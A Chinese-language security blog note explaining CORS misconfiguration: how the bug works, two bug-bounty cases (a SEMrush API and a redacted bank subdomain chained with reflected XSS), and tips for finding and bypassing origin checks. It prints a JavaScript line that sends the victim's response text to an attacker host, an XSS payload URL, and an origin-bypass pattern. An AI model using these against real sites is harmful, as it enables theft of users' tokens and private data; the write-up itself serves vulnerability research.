CORS配置不當—挖掘技巧及實戰案例全匯總

  • 2019 年 10 月 10 日
  • 筆記

1、概念

CORS,即跨源資源共享(Cross-Origin Resource Sharing)。同源策略(Same OriginPolicy)要求不同源之間是無法通信的,而CORS則是放寬同源策略以通過瀏覽器實現網站之間通信的機制。

通常系統通過配置HTTP響應頭來允許發出跨域請求,如下Example1發送一個Origin頭,Example2以一個Access Control Allow Origin頭響應,然後Example1便可以對Example2的數據進行操作:

2、漏洞原理

CORS配置不當通常會導致的危害是用戶敏感信息泄露,場景大多數是get請求方式返回的json形式的敏感信息(密鑰、token,key等)。CORS配置不當屬於響應頭中的一種,其他還有X-Frame-Options、Content-Security-Policy等。漏洞利用成功的前提是,兩個返回頭必須為:Access-Control-Allow-Origin:https://evil.com

Access-Control-Allow-Credentials:true

3、實戰案例

1) SEMrush CORS misconfig

訪問semrush的一個api端點,插入Origin頭為攻擊者服務器:

返回信息主體是用戶敏感信息,需注意的是返回的Access-Control-Allow-Origin是攻擊者服務器,這意味着系統存在CORS配置錯誤。

下一步,構造HTML文件,誘使受害者點擊:

點擊後,界面將彈出受害者敏感信息:

修改一下reqListener()函數為

location='//atttacker.net/log?key='+this.responseText;將把敏感數據發到攻擊者服務器。

2)redacted子域XSS+ CORSmisconfig

和上面的案例類似,只是Origin接受的是redacted和子域:Origin:evil.redacted.com,要利用這個漏洞,必須在子域中尋找一個xss漏洞,結合xss發起請求,最終在banques.redacted.com發現xss:

https://banques.redacted.com/choice-quiz?form_banque=「> <script> alert(document.domain)</script>&form_cartes= 73&iframestat= 1,將alert事件替換為CORS請求:

最終poc為:

成功獲取到敏感數據:

4、挖掘及繞過

1)挖掘思路

查看是否存在get請求的json形式敏感信息,在請求頭中添加任意Origin值,如https://evil.com,查看返回頭是否返回:Access-Control-Allow-Origin:https://evil.com和Access-Control-Allow-Credentials:true,若返回,則構造poc.html進行跨域讀取數據。

2)繞過手段

繞過通常使用如下poc:

http://www.target.local{.<your-domain>/cors-poc

繞過原理不做詳解,可閱讀原文下載pdf自行研究,只要利用姿勢正確,任何漏洞都可能成為高危漏洞。